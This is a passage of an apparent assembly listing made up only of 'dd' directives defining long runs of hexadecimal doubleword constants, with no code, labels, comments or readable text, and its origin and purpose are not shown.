0F140AC7Ch, 1CAEC087h, 0CE1E6615h, 861493CBh dd 0A44B1408h, 945914h, 2C7913A9h, 0E4CA2F10h, 0EED4021Ah dd 0BE9B18B3h, 0C42A1C49h, 47266B1Dh, 992DC4B7h, 6B08C0BCh dd 80C72539h, 431D2B90h, 0E8A1BC38h, 12C7D62h, 6CD265E7h dd 32AF6DBFh, 5F590750h, 0F0C30C9Ah, 0B0A4E41Ch, 0F13200CFh dd 0E875E80h, 9700AE20h, 68E55B9Ch, 504BDB83h, 8456E81Bh dd 40A43CA3h, 0C21CC726h, 0BF562E16h, 0A2CB4470h, 63581C94h dd 0CF5D97C0h, 1775D4C7h, 42B395E4h, 47DAC0BCh, 5281CC90h dd 6678ECA6h, 0C8E34F29h, 0B000CE11h, 0EE9E3DDBh, 467C1B94h dd 34C0F000h, 0BA1523C6h, 24D9F25Ah, 444CA74Bh, 43F080FBh dd 924B4759h, 81397088h, 64E605F7h, 4A88A103h, 0F7DB8522h dd 71B73FE1h, 207C02D4h, 2742F082h, 745A6856h, 0FBDA4038h dd 0FCF2E59Ah, 204454Ch, 4754441Ch, 3B44828Dh, 248C4434h dd 0AD4DF4Ch, 178B4C1h, 0BB011705h, 9182700Dh, 193ACD07h dd 15F0A1BDh, 13311227h, 2BEF55FFh, 38204E00h, 0DB7593h dd 0A25EA819h, 0DA67FFF6h, 2414D2Fh, 6FDED740h, 81A48C68h dd 8803E119h, 0B18A24A1h, 779488B2h, 0B3C03822h, 0E41070A5h dd 0D00A2DFh, 0B21208FFh, 0F30E5B52h, 5ED50060h, 1ABC4B55h dd 60C0508Ah, 8D90705Ch dd 22D9C404h, 48921C23h, 0C60110C1h, 83B4808Ah, 162CB6CFh dd 5279F782h, 0D4FCA48Ch, 60C8514Bh, 159100F2h, 2C8A553Bh dd 0B604FB0Ch, 0D1FD8654h, 2A0384EDh, 165B3576h, 0AA7C8180h dd 0F4121C5Ah, 0D1C1C062h, 0DC1C17ECh, 61003720h, 0C97BDC80h dd 13F92186h, 14C06A9h, 4ACFD2A4h, 64A6DC11h, 365E3007h dd 7EF59073h, 0B0F30805h, 0C10C1414h, 9FF4BDA2h, 24F215C8h dd 54BD8h, 0D59775Eh, 0B7002FD1h, 763E1DD4h, 0B15CBE9h dd 0BB4AAF6Ah, 9E0048ECh, 0AEA5F90Ch, 12823E3h, 654B211Fh dd 0DC77C425h, 0CB07547Bh, 15799D8Ah, 0AE320670h, 0A3DE06D3h dd 48EF93C3h, 9A138C00h, 69B02596h, 7C4E1797h, 8A743073h dd 0C10EF095h, 0FA4656h, 3630FC80h, 7E970038h, 0D8A733E7h dd 7938211Ch, 2A6F00F6h, 16904131h, 0C1C70702h, 0B0BE9319h dd 0A47DC2B0h, 3B0DF13Dh, 20CA2DCCh, 56019FE0h, 0D6AE30C5h dd 81A58B79h, 0A7D3BB00h, 2FA69C07h, 21515E4Ch, 6AF3C988h dd 31575C22h, 58252E50h, 0E300ECA2h, 0FEC4840Dh, 420F68B0h dd 0F7B48D57h, 7BA45C81h, 0FE8F2980h, 0D3E28465h, 83EFD712h dd 0BC2110F3h, 0A7D0F908h, 0E7B278C0h, 643C3000h, 0DA1BE994h dd 98404AA7h, 0C460B40Ch, 0F67C7F41h, 0A4D80099h, 810AC24Fh dd 80A9CE4Dh, 26A5F44Ah, 28CAC305h, 94022AD4h, 0C0FA746Ch dd 2471854Ch, 6460268Ah, 2E832233h, 0B4C75980h, 900064E0h dd 0B26FC84Eh, 400A50h, 0C2212246h, 0F443751Dh, 0F3010D01h dd 10E9C8B7h, 1A58CC0h, 23AD4674h, 9F38A0EBh, 4881FAD8h dd 159DEEACh, 0AE027822h, 0D2F268CBh, 0E71F14F9h, 0E98FC6DEh dd 752DA177h, 0F6FC2C21h, 82C7351Bh, 0F41480A0h, 0AE22CFA5h dd 0D7CE00D8h, 9975AD5Bh, 0EA012588h, 0C2EB0AB0h, 0D989F4A4h dd 146B4681h, 8D240DE0h, 49AD4B1Fh, 32F5B500h, 3E3ACEB0h dd 7D00845Ch, 0EB8D45E5h, 2F0086F2h, 0B44643E3h, 6BECC1Fh dd 0BD6B4214h, 0A88008A2h, 6EB89A90h, 15D36F02h, 40E16D83h dd 2D0DE3h, 0CB21CE42h, 9716A2E6h, 7AF37300h, 192FFAD4h dd 13F4D6h, 66682DC0h, 23869369h, 0E85A1B27h, 0CE3410h dd 85BF62C2h, 18A7ECF4h, 5FFFB500h, 0DF27E8ADh, 901C5029h dd 1ED23F30h, 359450C5h, 6612E22Bh, 0D0F3BAC4h, 8975C04Ch dd 4F78662Ah, 0EBACC823h, 9880E04Dh, 7F2F034Ch, 77604173h dd 687D7498h, 5AFD1C00h, 0CD6CEF90h, 0C090B5C6h, 797E0616h dd 0BC9E7701h, 0B26A0EF1h, 4274F1F2h, 0EC85C1B6h, 0F068E4BFh dd 0E9C3B388h, 48C6A100h, 7B279704h, 20A87CBEh, 5FA0503Fh dd 8CF21B0Eh, 0F6F6AE8Ah, 0A8951031h, 204CD4CAh, 0E53400C6h dd 69C2AB86h, 0DB0EF096h, 0A10665B3h, 0B7CA8550h, 0E175D468h dd 0AC8893FAh, 0B110D840h, 0D9E43315h, 8D289900h, 0D6CC4FFEh dd 205D4FC0h, 0DC09C864h, 0F300CBE4h, 2BA1C339h, 27B64755h dd 0E82468F9h, 0F8EC8389h, 0C2F8A9EDh, 41855B3Bh, 1828A58Ch dd 11012103h, 22C19B35h, 2A08487Ah, 3C071B4Ah, 2C72AEB1h dd 0F60DEB4h, 0D5E09043h, 0E953653Bh, 0EE7C1F01h, 0D35B16A3h dd 0FC07E180h, 0DBAA78F1h, 0C5C7B100h, 5D38DE0Bh, 706C001Ch dd 316B1B2Ch, 212F8BCEh, 0C9B021CAh, 90207CC8h, 3A4302B3h dd 903FDA1Fh, 0E8C7B84Ah, 9B397880h, 7D297ACh, 9A42ED6Ah dd 0D2B10D0h, 3029847h, 0CA7552F7h, 80CC56FEh, 6C79DA25h dd 20B52CBEh, 1696BFBCh, 20145B23h, 0E9D20AF4h, 0F54853B0h dd 7F3A36h, 7059341Eh, 0E402B72Eh, 0AF671366h, 13A6B8CEh dd 98A240DAh, 42BE5221h, 0CB7EC308h, 0C4AB0ABAh, 8481087Fh dd 1424C7FCh, 0D0E8276Ah, 55F94D02h, 71703372h, 43EF5C02h dd 0D1A270FDh, 0E49B00C8h, 0B3318F93h, 0C8D5642Dh, 93CB1088h dd 98F380C4h, 6CD954CDh, 420EBD0Bh, 598A00B2h, 0DB5504h dd 123011A5h, 7DB306DFh, 0BECF171Dh, 0FDAAF482h, 0C97874F9h dd 0A029898h, 60C7DE00h, 80EB683Dh, 0AEDB163Ah, 0B358492Eh dd 0C0024469h, 127B46D1h, 2CAE4E26h, 0B6F01125h, 7458FD04h dd 0A6CDF580h, 40109DE0h, 56271BD3h, 9EA86ED7h, 8D614014h dd 43043CD6h, 142BB1EFh, 53814181h, 1C3D0C39h, 2AC0884Ah dd 0B9ECD300h, 199799B0h, 30E674E4h, 0C46C0C6Dh, 44173318h dd 9F16DF8Dh, 9F43C400h, 4C549B57h, 0BC055B95h, 8C1F8CBEh dd 5E0065B4h, 0E6D7FC6Eh, 0B8E88919h, 0FCD05244h, 24949D76h dd 6B2BBD00h, 0B1C2718h, 52EF1F22h, 8C75C380h, 60225AEBh dd 7DE000C1h, 0E97ED219h, 0E7B8C76Fh, 572CDC04h, 3B8086EDh dd 384C9D69h, 4006BB2h, 2AC073A9h, 23986DE4h, 82CB1F05h dd 0D0B3B2DCh, 4C7E4B00h, 9B14C6DDh, 0A650B076h, 78B8CF08h dd 12B2BC44h, 0A2D24B81h, 0AEF30088h, 0F6D3D68Bh, 35EC1DA2h dd 1DB405F7h, 9DD088AFh, 0F8018A00h, 68E4425Eh, 9B95FEAh dd 30323C60h, 0DDB42C00h, 0A50131D9h, 22C2043Dh, 0EC222D0Eh dd 16AA4E02h, 40C0C373h, 0C188C701h, 0DA0D3AC4h, 0E1B64980h dd 0F5DEDF50h, 3BCF890Ah, 4E120C64h, 5452C4A0h, 0F6FD64D6h dd 4F9A004Ch, 0D30620DBh, 0CA252B88h, 0B91C4BFBh, 3F6B8156h dd 0D9FD11C0h, 0F8E8AE2Dh, 69E04B67h, 773EA600h, 3478CDEAh dd 7CA4183Bh, 0D8F1767Dh, 3EF4185Ch, 0EC00F499h, 20CCE9CEh dd 3D232BCDh, 3900A721h, 0DA88AEB7h, 0C64ECE3Eh, 13DB28D2h dd 0ECEA43D4h, 6340D768h, 0E6FCEBD2h, 86070250h, 0BC094981h dd 255180D4h, 30D40864h, 1A49D950h, 0CB504581h, 9288CC30h dd 37C10005h, 180F43C9h, 1004B8Ah, 8986FDFFh, 0F0D3ABEDh dd 41549A8Dh, 8507C8CCh, 8B0D80C8h, 88683BD9h, 0C96ADD2h dd 0FB004092h, 18A4C4E7h, 3CB000B7h, 0E039D269h, 0DC00A897h dd 4C247E2Bh, 1EA99585h, 80D3C465h, 0D497BA08h, 735F0A4Eh dd 71F5098h, 0BBAD46FEh, 0A090A0EDh, 0F8743170h, 2548C458h dd 9088CED3h, 98250046h, 1C4E6453h, 54772758h, 0A8BD7E03h dd 92B10C79h, 4134562Bh, 0D22C0DBBh, 45940880h, 244B1F74h dd 12660020h, 0DC9300C8h, 0D5BACB6h, 0F2F67D18h, 0EABA700h dd 0B4F37629h, 9AE502CDh, 6B026715h, 0CBFCA482h, 0D500CC6Eh dd 0D73A27DEh, 128C6514h, 0B55E1CB2h, 689C2500h, 20BEA00Ch dd 0F7801E78h, 92F38079h, 38F93A64h, 47B21000h, 0A6FA8316h dd 0E82B1C7Bh, 80DA7E1Fh, 7C23E577h, 0F09BBC00h, 96042136h dd 3F8A7B73h, 0C70E5A44h, 0E6720BA4h, 57E30260h, 80F5DA31h dd 4AB3ADEBh, 8EA32FCCh, 0EA9B3410h, 9609601Eh, 7304ADC0h dd 0F8E6750Ch, 8517089Ch, 0BB0472BCh, 99822043h, 45BC90FFh dd 196EF2BFh, 2982B427h, 1443DA3h, 0A18749D9h, 1483BC67h dd 0A1C63B6h, 0B7054AB0h, 5024DA50h, 9320D74Ch, 0C9A03467h dd 0E9B6F1Eh, 828DE5DAh, 2664E2F2h, 1100B14Eh, 99DEF223h dd 2A1F0732h, 0D9475B1Ch, 1900745Bh, 8EAF9F5Ch, 3F13001Eh dd 58E69484h, 53008BF5h, 80BEB447h, 78B1E075h, 48BC394Bh dd 3BEB2400h, 58403863h, 7E88C550h, 76893Ch, 4BCB547Ch dd 125349Dh, 87F3FE35h, 200446E3h, 0F0E58BBCh, 94F88C55h dd 8E3C0D3Fh, 30A42C23h, 42BC0893h, 4B87F240h, 7C811D1Ch dd 0B1F30999h, 0E7537C90h, 0D2829614h, 5DA43F08h, 2C4201BCh dd 0B1B2864Ch, 2D46CD6h, 6A5FBEBDh, 9C725851h, 0B0C81A5Fh dd 0F06303DDh, 9D41AC77h, 976EAFB0h, 0A25C3Ah, 30D3421Ch dd 392047Ah, 0D53B402Ch dd 0B117E14Fh, 2062FFC9h, 804E183Ah, 0F6C938A0h, 225C1C95h dd 3195C601h, 68AF6A18h, 59122814h, 6A038D69h, 0F8FEDFC8h dd 49B878D3h, 438254E4h, 48C65142h, 0D1F7C916h, 1C607C28h dd 0C91C7B0Dh, 0EC838CC1h, 4BE47A3Fh, 1670C646h, 101C4D8h dd 44EEF1C0h, 0FF0C65E0h, 814586A1h, 0D892CC10h, 5C43B420h dd 38A7D02Fh, 38C0001h, 3418778Fh, 0B40F1DD9h, 0FF3A7CDFh dd 30048E93h, 0B12CC95h, 19C5A0h, 0F550850h, 5317D386h dd 0ACB8FA64h, 984210h, 0F2357F16h, 71B15189h, 0E3AF3246h dd 6C632510h, 66824AE8h, 68F6B2FAh, 0AA4B9D00h, 16C6C5E3h dd 23A82592h, 0B5565080h, 3B0779D3h, 0C6466B1Ch, 0E11C02ABh dd 425CC4BEh, 7B7609F6h, 29389811h, 0E0C20099h, 48233762h dd 0CDF62776h, 0A407261Bh, 1BCAA48h, 0D28B41D9h, 0C0CE38FCh dd 9BEF5730h, 7C910FFEh, 84E0E570h, 4DAE2FD7h, 0C0E37903h dd 10B60222h, 9CBF988h, 11D54AD4h, 472F42Ch, 804F32C4h dd 87E9217Bh, 0E4E93D7Fh, 0CD2C69CBh, 0D14698A2h, 0D8BD5851h dd 0B1BBCE86h, 2C734422h, 62782C6Eh, 862472ADh, 44BEF340h dd 0E8002DCBh, 22587098h, 3B72478h, 0EB69BD50h, 0C0AC64B4h dd 6F814B00h, 0D0BED57Dh, 0A646D840h, 27082C4Eh, 98A45DCh dd 0DC593F44h, 39994240h, 547901FAh, 6DF653Eh, 538889Eh dd 604194BEh, 0E9246A20h, 0FF11B471h, 37DAAF05h, 0BFCD5F2h dd 0B0192CA0h, 30A865BCh, 98003100h, 15C51CC3h, 12FAAB7Bh dd 0F2DB238Ch, 1D8B0BE0h, 6B448413h, 42D4250Ah, 0B225BC56h dd 180690A8h, 384A1D8Dh, 112C950Eh, 963F0030h, 0C146AEh dd 3C03836Eh, 8BC8607Ch, 77A120h, 0EDF59D96h, 0ECF6583Bh dd 4CFAC26h, 0F794CB07h, 2048205Fh, 0B1D0AB54h, 860580DCh dd 180339B3h, 0C4C0E001h, 42AF30DEh, 312FB049h, 484CD420h dd 6C99B2CCh, 9CE8514Bh, 0C9AA5F58h, 7C64C2CBh, 1AA1F300h dd 39931CD1h, 8D7B0034h, 0D0EDCF35h, 0BE2F45B9h, 0E18C984Ch dd 0E7500EEh, 2A183601h, 26270663h, 61442CFh, 7BC9E4E8h dd 5599C0B3h, 0D5EAC8F9h, 47328203h, 0F0EE218Ch, 0EEB6BC38h dd 846901AEh, 94F21BB9h, 0A6643082h, 0D3626303h, 3CBB488h dd 2A441F49h, 0D7A8CFB5h, 0D4F41C65h, 9AA4BE00h, 0FB127497h dd 824C2FACh, 2B44091h, 0CE4407AEh, 80488993h, 0AF707FB8h dd 4FDB3C71h, 81509C45h, 0EC88485Eh, 8AF71244h, 11B0BCF8h dd 0B326BC54h, 6AAB6030h, 18007888h, 5875E33Bh, 4AFDED3Fh dd 81F8CAC9h, 0E782C7B7h, 0BC71A8h, 0EBD73867h, 0A94CB373h dd 38CF08A1h, 0E9AD82ECh, 0E51B60BBh, 0DD06010Ah, 96A9675h dd 0B45C8F8h, 0C5FACA2Fh, 487D0028h, 0E16E70ABh, 3F170700h dd 334CCC43h, 0D46426E6h, 4E724D5h, 84A7DC88h, 2C8B628h dd 0D54B4631h, 3C4389h, 78276D11h, 0D1AB9FB0h, 2B8BD750h dd 23000BE2h, 0E996FECEh, 1E21BF7h, 58C0285Eh, 2819E7CCh dd 0EEF880ACh, 42E597h, 3364F2DEh, 1507D721h, 2EE2CE02h dd 7EA440F0h, 723280E8h, 71589E4Fh, 2F48C705h, 0D016DBAFh dd 7C7A18A3h, 30A0951Fh, 0C086F35Fh, 0EBEA0A00h, 0FDA47403h dd 47D92CCBh, 645364B0h, 0FAD3CC1Fh, 98C22001h, 59CC46B7h dd 0D00912B9h, 184A88Bh, 0A1E80171h, 78545AE4h, 7789D61Fh dd 0C478ECh, 0BE29CA95h, 0A7FB0D2Ch, 767D4C16h, 0A85868A2h dd 0A001518Bh, 0D2BF5421h, 0EB250CE6h, 0CBD482h, 0DA70EFFDh dd 0B8957D3Eh, 185C024h, 0FC77678Eh, 24DB2F47h, 0D0A2BE5Ch dd 1F00B0C6h, 9965385Eh, 571AE7h, 4E535290h, 0E4662D0Fh dd 1FF8A400h, 0BE4A24D3h, 0F2E93FB6h, 6022F3Ch, 0B886ED16h dd 4CA319C0h, 44148878h, 7C900355h, 1190D205h, 8800BC35h dd 548166C3h, 61189EE5h, 3A39AE95h, 51FC3C20h, 6CDB007Ah dd 0A15CBD0h, 2F02629Ch, 0FD1C299Eh, 10A447F9h, 209C42F3h dd 40DA25C7h, 485BF0A9h, 276C4501h, 9C2AB78Eh, 2F859F20h dd 0E2B8A00Dh, 4C336F10h, 0B810A827h, 48D4B7Fh, 8B78D020h dd 39CB47E1h, 3D3AC0C0h, 95C9Ah, 0CB6B362Dh, 8EC9D86Ah dd 24853898h, 0C32243BEh, 3E6C1000h, 0A80FF795h, 4FA44891h dd 49010059h, 0C764A388h, 2E40BCD2h, 0D16F1422h, 284EE058h dd 500A710h, 4C5C1D84h, 3D69F6Bh, 4057D406h, 0F04C8367h dd 0AE78C0ECh, 1FABD282h, 0CBAF621Ch, 0D4808BC9h, 50757F83h dd 2FF18E7Dh, 0F0047488h, 4CB83Bh, 50A72EB0h, 0F7B99697h dd 0DE2BC300h, 246231E6h, 0D3BD057Dh, 4B3ACB2Dh, 0E0F9B4BCh dd 35465400h, 0F6D2AD6Eh, 1690E7h, 0E80C118h, 633F2308h dd 0E6D3C927h, 45F2000Ch, 0F0E34B9h, 0B307FA85h, 3D32EDE1h dd 21224D61h, 0F498007Fh, 0BB3526D1h, 10E5ECA1h, 52D31B2Ah dd 0BF0098ADh, 0F9A002C4h, 0B100445Ch, 881F51F6h, 7D0C8Dh dd 711C247Eh, 6CC2B47Bh, 0BA0BCD73h, 0D0CB3B07h, 3C2B0F9Ch dd 3FE52253h, 0CAE8F8DEh, 0D9427C1Bh, 60145546h, 71049300h dd 7092238Dh, 21E10027h, 1514D82Fh, 0D11786E6h, 0D088F1C4h dd 0A17B3BA5h, 0F9DB0280h, 66517C9Ch, 0E82BA835h, 0CD70C8h dd 5503B2B6h, 904E3EAFh, 1DCF3300h, 8FA52A82h, 717A0384h dd 0D880C4B3h, 0AC0C84FDh, 0FA0C815Ch, 1DC4D90Ah, 0E87200F0h dd 715A0EB2h, 0BB51405Bh, 80143C84h, 3717BDC7h, 0D91900D2h dd 0A69B44B4h, 28027FB3h, 0DAD03C7Eh, 2C405CC5h, 30E52D74h dd 3168300h, 727392CBh, 2CDC4C0Ah, 69669380h, 5FFE7DD8h dd 0CABAD302h, 7EDCF770h, 3914AC00h, 8425A5BAh, 380F5374h dd 3060E3D3h, 7DD92272h, 0E55EC900h, 650DAE61h, 7728139Ah dd 0C4AC01D7h, 2F7ABC21h, 2203B480h, 6EC208CCh, 5180D2AFh dd 0E590181Bh, 7D850764h, 0E1BB3CE0h, 337A46DAh, 8A890050h dd 1C9B85F2h, 798300C8h, 0F3D72903h, 0EE01D0ABh, 74333CC3h dd 0ECFE7213h, 0F5AF0140h, 73ADB382h, 5C046ACDh, 401FCB5Ch dd 0D3A8AD1h, 6A583014h, 0EF7113E8h, 27470C01h, 0C0832685h dd 0F1965852h, 41E51800h, 65C0B449h, 8656026Ah, 58BC82FFh dd 48571040h, 4B21726h, 21802A00h, 0F123EDh, 0C85B7C99h dd 8E42C1FBh, 0CC44E5Ch, 40B1400Eh, 743A20A8h, 0AFBC7010h dd 0E152317Ch, 0C889F519h, 0AD30D0AEh, 0D80BA816h, 86FF80C6h dd 7D3740h, 3B6F3587h, 0AF3389F6h, 79EBCD00h, 393E9395h dd 301318CAh, 0F2D14068h, 32AA74A0h, 870A7C84h, 83089610h dd 288E73AEh, 0A02B043h, 0F0A4D031h, 80C0993Ch, 43994A7Ah dd 1B0131FFh, 0D1842C6Ah, 0DDD2683h, 63048DDh, 1EEE00E3h dd 231F76DFh, 13FF4C0h, 4D81964Bh, 3F23C4A2h, 29784E0Fh dd 726400F0h, 133DD43Ah, 7E35F2Fh, 9F3EC52Ch, 7B5618A0h dd 97D72Ah, 3C504EECh, 6C9087h, 0AD510F47h, 9EC479B7h dd 48CA1603h, 128A5488h, 0EAE6BA20h, 0F1203310h, 2319A9F2h dd 0B18300F0h, 0E2CD5BF4h, 380D0097h, 0C1F3DB9Fh, 7804FA4Eh dd 63D82062h, 3CBBCCCCh, 8880138Eh, 0D56EC4CBh, 9E7DB9DBh dd 1B0AAB16h, 884ED0F3h, 47720C48h, 0CAA45101h, 2F6B3E1h dd 0F0587020h, 0F4580F4h, 8CD80328h, 94304E7Ch, 7224C08Eh dd 0D0B35B1Ch, 88D1DA54h, 0EE442A04h, 53EACEE9h, 17CE4CCh dd 0B188C901h, 57DF149Ah, 0C8A8802Ah, 9C995A8Fh, 0CE931700h dd 9FA0B47h, 0B93F71A9h, 9F3A4100h, 0EC016E66h, 263D2142h dd 0C12B162Ch, 8DA368FCh dd 68CFD690h, 9F1A9891h, 44288802h, 0FF001CDEh, 897688C7h dd 3D5620Eh, 57EEC41Ah, 58029560h, 1052FD15h, 2BBC60E0h dd 0FA5A023Bh, 0F14B4091h, 49092043h, 8295FDBAh, 2F41B90h dd 58C850D8h, 2F80E25Fh, 5A102ECBh, 0C0E54490h, 3F4ED0D2h dd 46376090h, 216C080Fh, 7E21000Bh, 0E7776E13h, 64F3DF3h dd 0A97CCC30h, 0B830E925h, 458240D4h, 80B1323Ah, 0A7AE9B6Eh dd 0EE625Ch, 0C3720A69h, 0FAC7C4A2h, 0F60082F8h, 5458FB0h dd 0E61092h, 26AB6D6Ah, 8CEDEBC5h, 80908800h, 0E8286FE3h dd 10A6012Dh, 3B1F215Ch, 6BC9CC99h, 9E6EC801h, 834F51A7h dd 13480DCh, 0C732BC85h, 0C05ED4F4h, 78001E2Fh, 0EA41D375h dd 0FC51326h, 0A4FD0F1Bh, 46710A20h, 0B200EF97h, 0BDD466B9h dd 0CAF4E2h, 0D5BA7E5Ah, 6398482Bh, 6C8B3600h, 4268F816h dd 804100A8h, 57B50EC5h, 3218ABFDh, 0DC191004h, 0A9D8005Ch dd 7DBEAF2Bh, 0BC3AB765h, 462060A1h, 23B0CEAh, 19ED687Ah dd 1A40BDE9h, 4C30FA7Eh, 0BC351839h, 0A504035Ch, 31157F3Ah dd 0A25F3CC0h, 28FE0BF0h, 60696303h, 3080702Dh, 5D80B458h dd 300186A2h, 6A3CB678h, 0E6E0A7BDh, 8390EA6Eh, 0D1FE34E0h dd 9EE818C7h, 3998726h, 0EC330973h, 68007B28h, 8A08EA0Dh dd 0CA7687Ch, 0F0FA0A91h, 0A3322BB9h, 225F807Fh, 2263047Bh dd 10995803h, 0B89F3DADh, 640A34A2h, 0C0E218B0h, 0AF3222A2h dd 0DE784FF8h, 9485F828h, 0E56FB61Ch, 0EA8E9842h, 65A486E1h dd 66C82190h, 7E10861Eh, 4CACF282h, 3332907h, 31C87456h dd 9EE8B028h, 0C8101BAEh, 23E0E166h, 0E306C040h, 93906A9h dd 6836C4EAh, 0C07840FFh, 86FB775h, 0A80415A9h, 3D95303Eh dd 3721010h, 98B06300h, 0A29F2CBCh, 2D7E00E7h, 0DB3E883Fh dd 300C76A6h, 2905CE10h, 9F088A8h, 957EA100h, 3F154A31h dd 0A4FF497h, 0E39BFAE5h, 194600FCh, 2840B0B4h, 0EA0FA573h dd 0C7D74B8Fh, 3C90F75Ah, 3E9F22h, 0A4257FC2h, 0B68698AEh dd 9E2EB300h, 7543513Ah, 0DA4000A0h, 274C78E9h, 0FF030BBFh dd 26C860E4h, 0C8AFF3FAh, 2CD28880h, 18EBAD04h, 0BAFC20FDh dd 9B26E37Bh, 0D5005268h, 0EC571AA0h, 5FEE3DC0h, 7D646581h dd 80CF2646h, 5EF64C10h, 0A13AB1h, 0A3BCFB86h, 0BE945A1Fh dd 0AE09900h, 0AF4510A5h, 1C05003Bh, 0BF1DB56Ch, 5C2857E8h dd 0ACFAB063h, 0C4E60D2Ch, 177FA900h, 0F21AE52h, 7916119Ah dd 60839266h, 0CACEE503h, 88054DECh, 31AAB5h, 0F46B1D9Eh dd 2A69C5DCh, 80D93A3Ch, 9282C61Ch, 66D86Dh, 0FC3F28BDh dd 0D7E4C870h, 9EA5A005h, 1BD14909h, 2E305C92h, 3DC60025h dd 0DEF13C75h, 3A03388Fh, 4583BD73h, 0EF69F061h, 5DDD0293h dd 3ED114B2h, 5979D6E0h, 9C0F6300h, 0D6E34CC0h, 0CE640BA7h dd 0DFC1A9h, 0A5DFC493h, 0AB5524DCh, 48B70028h, 9F4C47A3h dd 5CF0DA25h, 0BB960011h, 5742A84Dh, 0EC00DEFEh, 0F5C62C6Dh dd 0FFC9A7Ch, 9541204Eh, 0CAC0ABCFh, 449482FBh, 0EDFE4500h dd 1468693Ah, 33CF013Bh, 4FB9773Eh, 0B71989E8h, 627580E7h dd 7D036AD0h, 1E300F1h, 648DE699h, 0B1E65143h, 67002892h dd 0FC52D0B5h, 70EE205Eh, 31E72AD8h, 0A65516D8h, 0CC700005h dd 33A291ADh, 492B540Eh, 0F55F00A7h, 75A9D0h, 4CA44417h dd 134E9409h, 2BB03Fh, 0A00A5A7Eh, 0FA20346h, 88A5B26h dd 0F2278D8h, 0C83BF109h, 414C0052h, 32B37D44h, 10C9E24Dh dd 998DE060h, 63103C60h, 25B307h, 0E0223E75h, 0D281B49Dh dd 21551907h, 4418E60h, 5CF44650h, 2B390F0Ah, 4009A4C0h dd 0C39BE801h, 722ED4F1h, 0DAC1261Ch, 75168079h, 1E7D6864h dd 51410096h, 998C2486h, 8D00D96Ch, 343A87FFh, 48ECC079h dd 8601702Ch, 1F364E01h, 3A88D47Bh, 71E98500h, 0B12C50A6h dd 285E0763h, 0C03BB5DAh, 83C01370h, 34F04Dh, 1B15AE5Bh dd 0E3D043E2h, 39CE6080h, 7895C0Dh, 218020F7h, 0C2731B00h dd 80DA788Ch, 60B598BFh, 0E39C801Ah, 16484AFAh, 38E809F9h dd 3960A054h, 32CF7AEh, 1FB2ED13h, 6F833DFh, 5E066861h dd 0F5F64D04h, 461C3B11h, 154EEE00h, 1A2003B2h, 21FB600Fh dd 3D7D402Ah, 0F26171h, 8CC574D9h, 342B1975h, 0C4F8652Eh dd 16A28F00h, 77378A3h, 546047A8h, 1F59B084h, 0FDFC67BCh dd 2604D01Eh, 8DCD7F00h, 21A4A2h, 2E59DCFAh, 0E216AFFBh dd 11452916h, 0D3128B00h, 9E5BB1h, 0F1E6FE86h, 0FAE83423h dd 437C1300h, 45144AFBh, 0BEA04CB1h, 7B0CD806h, 8D0030E8h dd 0C0ACCBA7h, 1EE02BADh, 4A96CDCEh, 0BCA9A1h, 0B7F846Bh dd 1603DB10h, 5034DDB5h, 0E489D05Bh, 7DFFA06h, 0F032B11Ah dd 5E413002h, 0D41F8B38h, 6E87F104h, 479006B0h, 3B08A058h dd 4CC8B2C2h, 9A8FE00Fh, 90341227h, 0F786EF98h, 1DF0E360h dd 0CFB45Eh, 843225A8h, 26DABDB5h, 8F402749h, 0C0948FCAh dd 5C3BA824h, 8B800F58h, 1329DB6Ah, 0BC403000h, 0CE00AC51h dd 5D445566h, 8A71F4h, 0D6DD988Ch, 0FF6E30B0h, 0FED58200h dd 0FD6283F0h, 0B75E0EE2h, 0A3C0D9E8h, 4A390618h, 37700200h dd 4D2E7150h, 809A268Eh, 0A6400F0h, 0D40C55C7h, 6F127075h dd 2C007FD2h, 71D77321h, 489E7367h, 4C00E0AFh, 0CC4F0999h dd 8A00795Eh, 0B77EC4CAh, 303E814h, 3B40ACA8h, 66D87BFBh dd 57000CE3h, 6A058342h, 278699h, 0A3D27A15h, 5BF004E8h dd 0B40E49EEh, 0E0B86710h, 399DD378h, 0CA691D96h, 0EE770121h dd 0DC059BCFh, 4B0051F6h, 8ADE356Ch, 896B11h, 0FF546AFBh dd 0FE822103h, 1967FE90h, 0AE704811h, 309626h, 0C72F4D47h dd 4BD3D4E0h, 66E80900h, 606CABEFh, 9998C076h, 72D6112Eh dd 9D00C47Dh, 4F08912Ch, 0C29539h, 102D2614h, 4A35359h dd 71279000h, 0C4DBD381h, 1787E8AFh, 40327EBAh, 0DB8B32Ch dd 5673666Eh, 9D30FCEBh, 3A964A00h, 0AF124F91h, 8DE70009h dd 6B827049h, 200011E8h, 0BAB881C5h, 48591EA2h, 0F613AC57h dd 95AC07F3h, 3DF49093h, 8F00B32Ch, 0D40BF9EAh, 4D7B298Eh dd 3000883h, 0B3BAAC3Fh, 11060489h, 3DAD4509h, 1D8A399h dd 0CC690729h, 0D1790905h, 2944D00Eh, 3C247E54h, 0B8039B81h dd 0E410080Dh, 8BE1209Eh, 0CD61F0h, 0E3046686h, 0D5A9B1B5h dd 11F8000h, 0CC510B0Dh, 69432EC0h, 0FA9781B4h, 8083EAE7h dd 0CC99B164h, 0F4DFDA3Dh, 8D015C39h, 0C0C2F48h, 3C0A2E4h dd 0DC0320A4h, 0DDD55DDBh, 8244E28Ch, 836CE60Ch, 0BABBA70h dd 36DC98B0h, 888CCC80h, 8400E960h, 8339A9DDh, 3FA1A72Ah dd 0F39FE7F7h, 14044001h, 0CA6E878h, 0B799F40Fh, 56D98062h dd 60417047h, 0B5362093h, 96EEF24Bh, 75FE1D00h, 0F8C4606Bh dd 0C1F400ABh, 6566E928h, 0D01DA8Bh, 8F15154h, 0A9806768h dd 0D9C7FCF6h, 0C11C2FB5h, 320A5C59h, 0E6001006h, 76C5B19Ah dd 3FC009C6h, 70681472h, 0A73E9BE7h, 586F04FBh, 0D0C171B0h dd 0F9821909h, 0ACE48F41h, 0C1F838C8h, 60021F6h, 0AEEE602h dd 797EFDh, 0A96BE7AFh, 5FD92090h, 41403737h, 513603AEh dd 2982C80Ah, 37F58B0h, 0E6780577h, 0EBEC0C98h, 373F0CC0h dd 0A0F00F9h, 83B20214h, 0C00F0E6Dh, 80DF3549h, 0BE03340Bh dd 863066Eh, 20A75AC1h, 58F57600h, 299FCF20h, 0BD1D007Fh dd 3001496Ch, 7E74CD04h, 27BCB71Eh, 0A2A70Eh, 0B1660A0Ch dd 0E3BD0054h, 2A4C614h dd 7634E298h, 47011D2h, 0C79FE1FBh, 0F0C88C10h, 7D76EF99h dd 193E1F07h, 0C5F0CDE3h, 0EC924Fh, 0D1237972h, 0E2A6B15Bh dd 1DDBF100h, 75424933h, 